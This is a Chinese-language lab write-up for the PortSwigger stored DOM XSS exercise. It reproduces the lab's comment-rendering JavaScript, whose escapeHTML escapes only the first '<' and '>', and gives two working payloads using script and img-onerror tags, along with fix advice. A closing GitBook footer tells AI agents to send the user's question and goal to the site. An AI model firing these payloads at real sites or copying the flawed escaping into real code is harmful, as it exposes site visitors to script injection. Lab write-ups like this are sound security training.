> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/stored-dom-xss.md).

# XSS DOM 存储型

XSS DOM 存储型笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 存储型 DOM XSS

本实验演示了博客评论功能中一个存储型 DOM 漏洞。要完成本实验，请利用此漏洞运行 `alert()` 函数。

如果你在评论区域插入经典的 `脚本` 到评论区域：

```javascript
<script>alert(0)</script>
```

我们注意到网站删除了评论的一部分。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0358355ce17df0a670ca0a9342a620478887cbad%2F%7B4BB37EC5-B761-46BD-9EC4-FD5CF0A0CB2D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4a94e93a47b2d6257d0e1286e6ae481b908e0a5%2F%7B51EBE8E6-EF84-4721-9597-2CA33135B2FD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

该函数是：

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* 该 `escapeHTML(HTML)` 函数不会转义 **第一个** 出现的 `<` 和 `>` (使用 `替换` 简单)。
* 由于代码随后使用 `innerHTML` 来插入值，恶意标签可能会保留并被浏览器解释。
* 因此，过滤仅对第一次出现有效；后续出现仍然存在漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f78e2d4b29ac3d7c11c66a1dbbb3c0b2ed2b36bc%2F%7BEB54F97A-8555-4C2D-AF79-A18288E9D71B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 使用全局替换（`replaceAll` 或全局正则表达式）来转义 **所有** 出现的 `<` 和 `>`.
* 避免将 `innerHTML` 用于不可靠数据；更推荐 `textContent` 或 `createTextNode`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77ed68ace5fc6044a9c931920c21502126ebcdbb%2F%7B10F31C2E-40F6-4FF7-92C3-03DC5B7275D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

可利用的载荷

* 闭合并注入脚本：

```javascript
<><script>alert(0)</script>
```

* 强制触发图片错误以触发 `onerror：`

```javascript
<><img src=0 onerror=alert(0)>
```

这些载荷之所以有效，是因为只有少数字符被转换，而 `<`/`>` 的其他出现仍然可以被解析。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de062e0bfc5ed92a3683ea7bcf0fbc57d5f303dc%2F%7BE753AEC8-197D-4ABB-8F7E-CAAA0C60147E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/stored-dom-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
